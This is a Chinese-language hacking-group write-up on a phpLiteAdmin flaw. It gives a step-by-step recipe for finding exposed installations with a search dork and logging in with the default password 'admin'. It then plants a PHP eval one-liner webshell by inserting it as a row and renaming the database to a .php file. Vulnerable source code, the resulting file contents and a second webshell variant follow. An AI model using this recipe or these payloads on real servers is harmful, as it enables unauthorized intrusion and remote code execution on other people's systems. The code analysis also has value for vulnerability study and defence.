作者:小Dの马甲
来自:Silic Group Hacker Army
//BlackBap.Org
漏洞公布:[email protected]
I.漏洞利用
原文的作者公布的利用方式不详细,这里给一个详细的利用过程
首先,以
- inurl:phpliteadmin.php
为关键字进行搜索
打开结果页面,以默认密码“admin”登陆,然后在左侧“Create New Database [?]”创建一个数据库,名字任意,以”silic”为例
然后到主窗口的“Create new table on database ‘./silic.sqlite’”这里创建表段,Name名字填写”silic”,“Number of Fields:”写1就可以了
在接下来的操作中,Field还填silic,Type选择text,其他不用动,然后点击“creat”创建一个新表
这样,我们就成功的再“silic”数据库创建了一个只有一个字段“silic”的数据表“silic”
此时点击主窗口的“This table is empty. Click here to insert rows.”创建一条新数据
数据内容填写一句话木马
- <?php eval($_POST[silic]);?>
最好是不要带引号。
数据插入成功以后,就重命名数据库。因为截图是后来补得,所以上图的步骤是错的
重命名应该点击左侧的“./silic.sqlite”然后再选择主窗口的“Rename Database”
在“Rename database ‘./silic.sqlite’ to”后面的框框里面,写xxxxxx.php,此时有没有发发现原来的silic.sqlite数据库不见了?说明你已经得到了同目录下的webshell的后门了。
II.代码分析
我们先来看一下相关代码:
- line:250
- ……
- //user is renaming a database
- if(isset($_GET['database_rename']))
- {
- $oldpath = $_POST['oldname'];
- $newpath = $_POST['newname'];
- if(!file_exists($newpath))
- {
- copy($oldpath, $newpath);
- unlink($oldpath);
- $justrenamed = true;
- }
- else
- {
- $dbexists = true;
- }
- }
- ……
- line:4476
- else if($view==”rename”){
- if(isset($dbexists)){
- echo “<div class=’confirm’>”;
- if($oldpath==$newpath)
- echo “Error: You didn’t change the value dumbass.”;
- else
- echo “Error: A database of the name ‘”.$newpath.”‘ already exists.”;
- echo “</div><br/>”;
- }
- if(isset($justrenamed)){
- echo “<div class=’confirm’>”;
- echo “Database ‘”.$oldpath.”‘ has been renamed to ‘”.$newpath.”‘.”;
- echo “</div><br/>”;
- }
- echo “<form action=’”.PAGE.”?view=rename&database_rename=1′ method=’post’>”;
- echo “<input type=’hidden’ name=’oldname’ value=’”.$db->getPath().”‘/>”;
- echo “Rename database ‘”.$db->getPath().”‘ to <input type=’text’ name=’newname’ style=’width:200px;’ value=’”.$db->getPath().”‘/> <input type=’submit’ value=’Rename’ name=’rename’ class=’btn’/>”;
- echo “</form>”;
- }
上面代码很浅显啊,$_POST['oldname']和$_POST['newname']都没有做任何处理,就被赋值到了$oldpath和$newpath
最主要的是,代码中直接执行了copy($oldpath, $newpath),直接把数据库文件变成了php文件。
- SQLite format 3@
- ??+?tablexxxxxxCREATE TABLE xxx(aa TEXT)
- ??=<?php eval($_POST[c]);?>
中间各种0000填充,但是没有<>等符号阻挡我们的大PHP一句话解析~
成功~
注:目测到一个撒比插坏了,跟你说别加引号了:
- <?php $_GET[\'ts7\']($_POST[\'coupon\']);?>
文章评论